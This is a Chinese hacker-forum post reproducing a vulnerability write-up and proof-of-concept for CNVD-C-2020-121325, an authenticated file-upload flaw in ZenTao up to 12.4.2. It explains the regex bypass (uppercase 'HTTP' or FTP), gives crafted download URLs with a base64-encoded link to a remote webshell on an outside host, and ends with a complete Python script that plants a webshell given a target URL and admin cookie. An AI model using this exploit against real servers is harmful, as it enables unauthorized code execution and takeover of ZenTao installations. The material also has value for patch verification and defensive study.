黑客仓库

最全面知识的黑客论坛,全网最强大的漏洞数据聚合仓库丨黑客网站丨黑客论坛丨暗网丨红队武器库丨渗透测试丨POC/0day/Nday/1day丨网络安全丨黑客攻击丨服务器安全防御丨渗透测试入门丨网络技术交流丨蓝队丨护网丨红队丨欢迎来到黑客仓库,您可以在我们的论坛板块进行交流和学习。

立即注册账号!
Shacker

POC 禅道 OA[CNVD-C-2020-121325]

Shacker已验证会员

黑客倉庫站長

贡献: 21%
注册
09 10, 2024
消息
186
JavaScript:
# 禅道 小于12.4.2 文件上传漏洞 CNVD-C-2020-121325

## 漏洞描述

百度云安全团队监测到禅道官方发布了文件上传漏洞的风险通告,该漏洞编号为CNVD-C-2020-121325,漏洞影响禅道<=12.4.2版本。登陆管理后台的恶意攻击者可以通过fopen/fread/fwrite方法读取或上传任意文件,成功利用此漏洞可以读取目标系统敏感文件或获得系统管理权限。我们对漏洞进行了复现和分析,由于需要登录后台才可以利用,实际风险相对较低,建议受影响的禅道用户尽快升级到最新版。

## 影响版本

禅道 <= 12.4.2版本

## 环境搭建

百度下12.4.2的禅道环境按步骤安装下载即可

[禅道官方网站](https://www.zentao.net/)

![]( http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/zentao-1.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)

调用接口查询版本信息

```
http://xxx.xxx.xxx.xxx/www/index.php?mode=getconfig
```

![]( http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/zentao-14.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)



## 漏洞复现

> [!NOTE]
>
> 漏洞触发需要后台权限



根据漏洞描述查看修改后的代码片段

![]( http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/zentao-2.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)

**修改前**

```php
public function downloadZipPackage($version, $link)
{
    $decodeLink = helper::safe64Decode($link);
    if(preg_match('/^https?\:\/\//', $decodeLink)) return false;

    return parent::downloadZipPackage($version, $link);
}
```

**修改后**

```php
public function downloadZipPackage($version, $link)
{
    $decodeLink = helper::safe64Decode($link);
    if(!preg_match('/^https?\:\/\//', $decodeLink)) return false;

    $file      = basename($link);
    $extension = substr($file, strrpos($file, '.') + 1);
    if(strpos(",{$this->config->file->allowed},", ",{$extension},") === false) return false;

    return parent::downloadZipPackage($version, $link);
}
```

这里传入的参数为版本和link地址,然后base64解码,正则判断是否为**http**或**https**协议,这里的正则过滤并不完整,所以可以绕过用于下载恶意文件

![]( http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/zentao-4.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)

可以大写**http**或请求**FTP**来绕过正则

![]( http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/zentao-6.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)

![]( http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/zentao-5.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)

跟进一下**parent::downloadZipPackage**这个方法,跟着来到**zentao\module\client\model.php**文件中

![]( http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/zentao-3.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)

```php
public function downloadZipPackage($version, $link)
    {
        ignore_user_abort(true);
        set_time_limit(0);
        if(empty($version) || empty($link)) return false;
        $dir  = "data/client/" . $version . '/';
        $link = helper::safe64Decode($link);
        $file = basename($link);
        if(!is_dir($this->app->wwwRoot . $dir))
        {
            mkdir($this->app->wwwRoot . $dir, 0755, true);
        }
        if(!is_dir($this->app->wwwRoot . $dir)) return false;
        if(file_exists($this->app->wwwRoot . $dir . $file))
        {
            return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
        }
        ob_clean();
        ob_end_flush();

        $local  = fopen($this->app->wwwRoot . $dir . $file, 'w');
        $remote = fopen($link, 'rb');
        if($remote === false) return false;
        while(!feof($remote))
        {
            $buffer = fread($remote, 4096);
            fwrite($local, $buffer);
        }
        fclose($local);
        fclose($remote);
        return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
    }
```

可以简单看到这里获取link传入的文件名,通过**fopen**打开该文件,写入禅道目录**www/data/client/version**中

查看一下有没有调用这个方法的地方

![]( http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/zentao-7.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)

找到了**download**方法调用了这个漏洞点,所以我们有两种下载恶意文件的方法

```
http://xxx.xxx.xxx.xxx/www/client-download-[$version参数]-[base64加密后的恶意文件地址].html
http://xxx.xxx.xxx.xxx/www/index.php?m=client&f=download&version=[$version参数]&link=[base64加密后的恶意文件地址]
```

首先先上传一个恶意文件,可以是FTP也可以是HTTP

例如我上传的文件URL为**http://peiqi.tech/SHELL.php**

```
http://peiqi.tech/SHELL.php
|
base64加密  HTTP://peiqi.tech/SHELL.php
|
SFRUUDovL3BlaXFpLnRlY2gvU0hFTEwucGhw
```

请求地址则为

```
http://xxx.xxx.xxx.xxx/www/index.php?m=client&f=download&version=1&link=SFRUUDovL3BlaXFpLnRlY2gvU0hFTEwucGhw
```

![]( http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/zentao-8.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)

下载的目录地址为**zentaopms\www\data\client\1**

> [!NOTE]
>
> 目录为version名称

![]( http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/zentao-9.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)

成功上传webshell

![]( http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/zentao-10.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)

## 漏洞利用POC

> [!NOTE]
>
> POC使用需要拥有后台Cookie

```python
#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from   : http://wiki.peiqi.tech

import base64
import requests
import random
import re
import json
import sys

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
    print('+  \033[34m公众号 : PeiQi文库                                                \033[0m')
    print('+  \033[34mVersion: zentao version <= 12.4.2                                 \033[0m')
    print('+  \033[36m使用格式: python3 CNVD-C-2020-121325.py                             \033[0m')
    print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
    print('+  \033[36mShell       >>> http://xxx.xxx.xxx.xxx/shell.php(恶意文件地址)       \033[0m')
    print('+  \033[36mZentaosid   >>> xxxxxxxxxxxxxx(cookie字段)                          \033[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    version_url = target_url + "/www/index.php?mode=getconfig"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
    }
    try:
        response = requests.get(url=version_url, timeout=20, headers=headers)
        version = json.loads(response.text)['version']
        print("\033[32m[o] 禅道版本为:{}\033[0m".format(version))

    except Exception as e:
        print("\033[31m[x] 获取版本失败 \033[0m", e)


def POC_2(target_url, shell_url, zentaosid):
    options = shell_url.split("://")
    if options[0] == "http":
        shell_url = "HTTP://" + options[1]
    elif options[0] == "ftp":
        shell_url = "ftp://" + options[1]
    else:
        print("\033[31m[x] 请使用正确的请求地址 \033[0m")
        sys.exit(0)

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Cookie":"zentaosid={}".format(zentaosid)
    }

    shell_url_base = str((base64.b64encode(shell_url.encode('utf-8'))),'utf-8')
    vuln_url = target_url + "/www/index.php?m=client&f=download&version=test&link={}".format(shell_url_base)
    print("\033[32m[o] 请求漏洞url:{}\033[0m".format(vuln_url))

    try:
        response = requests.get(url=vuln_url, timeout=20, headers=headers)
        if "保存成功" in response.text:
            print("\033[32m[o] 成功写入Webshell,URL地址为:{}/www/data/client/test/Webshell_name.php\033[0m".format(target_url))
        else:
            print("\033[31m[x] 恶意文件下载失败 \033[0m")
    except:
        print("\033[31m[x] 恶意文件下载失败 \033[0m")



if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl   >>> \033[0m"))
    shell_url  = str(input("\033[35mShell >>> \033[0m"))
    zentaosid  = str(input("\033[35mZentaosid >>> \033[0m"))
    POC_1(target_url)
    POC_2(target_url, shell_url, zentaosid)
```

![]( http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/zentao-11.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
 
后退
顶部